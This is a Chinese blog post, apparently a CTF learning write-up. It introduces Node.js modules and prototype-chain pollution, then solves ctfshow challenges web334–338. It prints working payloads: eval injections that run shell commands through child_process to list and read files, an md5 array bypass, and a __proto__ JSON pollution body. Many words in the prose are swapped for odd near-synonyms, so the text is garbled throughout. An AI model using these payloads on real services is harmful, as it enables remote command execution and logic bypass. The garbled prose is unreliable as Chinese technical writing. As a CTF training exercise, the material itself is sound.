初探node.js相关之原型链污染

前言

最近刷题刷到一个关于原型链污染的,想着之前学长揣摩过这些东西,刚好我最近又闲,就学习一下node.js的原型链污染,顺便理解一下node.js。

node.js根底

简单的说 Node.js 就是运转在效劳端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运转时树立的一个平台。
Node.js是一个事情驱动I/O效劳端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度十分快,性能十分好。

这里就只解说一下后续写题会触及到的一些node.js的根底

node.js 允许用户从NPM效劳器下载他人编写的第三方包到本地运用

这就像python 一样pip下载包以后,经过import引入,而node.js是经过require引入的。

同步和异步

Node.js 文件系统(fs 模块)模块中的办法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。
异步的办法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。

解释一下同步和异步,就像我们常说的一心二用一样,异步就是我们的一心二用,一边吃饭,一边看电视,而同步就是,吃完饭再看电视。
简单的说就是:
当你先读取文件输出后输出一段话的时分
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容

fs模块

node.js的文件操作模块,我们本地树立一个sd.txt

它的同步函数:readFileSync,异步函数:readFile

var fs = require("fs");

// 异步读取
fs.readFile('sd.txt', function (err, data) {
   if (err) {
       return console.error(err);
   }
   console.log("异步读取: " + data.toString());
});

// 同步读取
var data = fs.readFileSync('sd.txt');
console.log("同步读取: " + data.toString());

console.log("程序执行终了。");
输出:
同步读取: wdwdwdw
文件读取实例

程序执行终了。
异步读取: wdwdwdw
文件读取实例

child_process模块

child_process提供了几种创立子进程的方式

异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync
经过上面的同步和异步思想的了解,创立子进程的同步异步方式应该不难了解。
在异步创立进程时,spawn是根底,其他的fork、exec、execFile都是基于spawn来生成的。
同步创立进程能够运用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的办法会阻塞 Node.js 事情循环、暂停任何其他代码的执行,直到子进程退出。

其中的一些函数,在一些状况下,能够招致命令执行破绽,后面写题时分会用到

其中,JavaScript的继承关系并非像Java一样,有父类子类之分,而是经过一条原型链来停止继承的。
接下来我来讲一下我了解的原型链

原型链

在理解原型链之前,先理解两个关键字。

prototype

在JavaScript中,prototype对象是完成面向对象的一个重要机制。
它是函数所独有的,它是从一个函数指向一个对象 它的含义是函数的原型对象,也就是这个函数(其实一切函数都能够作为结构函数)所创立的实例的原型对象

这里直接举个例子

function Food(bar,bar1,bar2) {
  this.bar = 1;
    this.bar1=5;
}
let food = new Food();
Food.prototype.bar2=6;
console.log(food.bar1);
console.log(food.bar2);
//5
//6

可一看到,我们能够经过prototype属性,指向到这个函数的原型对象中然后创立bar2,赋值为6,之后我们用food作为Food的继承类,这个food就具有bar2的属性。
proto
在实例化后,就不能经过prototype访问其原型对象了,而且prototype是函数特有的,那我们能够经过proto来访问他的原型对象

它是对象所独有的proto属性都是由一个对象指向一个对象,即指向它们的原型对象(也能够了解为父对象)

所以经过理解,我们能够得出这么的结论
Food.prototype===food.__proto__

function Food(bar,bar1,bar2) {
    this.bar = 1;
    this.bar1=5;
}
let food = new Food();
console.log(Food.prototype===food.__proto__);

然后我们来正式理解什么是原型链
原型链
我们先看如下代码代码

function Food() {
    this.bar = 1;
    this.bar1=5;
}
function food(){
    this.bar=2;
}
food.prototype = new Food();
let food1 = new food();
console.log(food1.bar);
console.log(food1.bar1);

food类继承Food的bar1属性
而我们输出实例化food1的bar1的时分,它的查找过程是这样的
1.先查找父对象能否具有这个属性,假如没有
2.在实例化类的proto中查找,又由于Food.prototype===food.__proto__,所以在Food类里找到bar1
但是它的查找过程入下图所示

假如没有找到,就会不断向上一级的.proto停止查找,直到null
这品种似链的构造,被称为原型链

原型链污染

这里我直接用p神的代码停止解释了

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修正foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找次第的缘由,foo.bar依然是1
console.log(foo.bar)

// 此时再用Object创立一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

能够看到最后的空的zoo也具有了bar的属性
我们输出zoo.bar的时分,node.js的引擎就开端在zoo中查找,发现没有,去zoo.proto中查找,即在Object中查找,而,我们的foo.proto.bar = 2,就是给Object添加了一个bar属性,而这个属性则被zoo继承。
这种修正了一个某个对象的原型对象,从而控制别的对象的操作,就是原型链污染。

实战

学问点中是要与标题串联的,前几题都是node.js的一些别的破绽,协助了解node.js相关题型的解法。

ctfshow web334

开启标题,给了两段代码

//login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);

  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }

      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录胜利',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  

});

module.exports = router;

//user.js
module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

粗略的看两眼的代码,能够发现,只需登录,就会有flag,登陆账号密码是{username: 'CTFSHOW', password: '123456'},但是尝试登陆的时分

发现不对劲,有猫腻,然后扭头,认真看了看代码

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

发现了这个toUpperCase(),而且name!=='CTFSHOW',所以只能ctfshow/Ctfshow不全为大写字母都行。

ctfshow web335

开启环境

看到eval,猜想是eval命令执行
去百度搜索一下,找一个payload尝试一下
用child_process模块的 exec 执行命令
?eval=require('child_process').exec('ls');

回显不对劲,就没思绪了,最后看了羽师傅的wp和别的师傅解释
猜想其代码为代码为eval(‘console.log(xxx)’)
触及同步和异步的问题我们运用的exec是异步进程,在我们输入ls,查取目录时,就曾经eval执行了,所以我们要运用发明同步进程的函数
第一种办法
require('child_process').execSync('ls')

require('child_process').execSync('cat fl00g.txt');

或者用羽师傅的payload:

?eval=require(“child_process”).spawnSync(‘ls’).stdout.toString()
?eval=require( ‘child_process’ ).spawnSync( ‘cat’, [ ‘fl001g.txt’ ] ).stdout.toString()

办法二
参考Y4师傅的
global.process.mainModule.constructor._load(‘child_process’).exec(‘calc’)

ctfshow web336

照旧是eval

被过滤了,运用羽师傅的payload试试
羽师傅的能够

ctfshow web337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    res.end(flag);
  }else{
    res.render('index',{ msg: 'tql'});
  }

});

module.exports = router;

给了提示
对某字符停止md5加密,然后get,a和b,需求a不等于b,但是md5加密后相等
这里能够用数组绕过md5的比拟
payload
a[i]=1&b[i]=2

ctfshow web338(原型链污染)

终于到原型链污染了
给了源码,跟第一关一样的登录框。
找到login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }


});

module.exports = router;

utils.copy(user,req.body);,这里就是打破口,经过给Object添加ctfshow的属性,使 if(secert.ctfshow==='36dboy')返回ture即可
payload{"username":"asd","password":"asd","__proto__":{"ctfshow":"36dboy"}}

总结

初次接触node.js,别的破绽还有很多,道阻且长,冲冲冲!

参考

https://m0re.top/posts/63e48fc9/
https://blog.csdn.net/miuzzx/article/details/111780832?spm=1001.2014.3001.5501
https://blog.csdn.net/solitudi/article/details/111669500
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
https://www.runoob.com/nodejs/nodejs-tutorial.html

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞9赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像插场0